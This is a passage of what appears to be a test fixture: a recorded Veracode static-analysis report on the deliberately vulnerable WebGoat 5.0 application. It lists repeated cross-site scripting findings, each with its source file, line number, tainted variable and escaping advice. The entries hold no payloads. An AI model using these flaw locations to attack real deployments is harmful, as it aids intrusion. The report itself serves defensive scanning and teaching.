+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
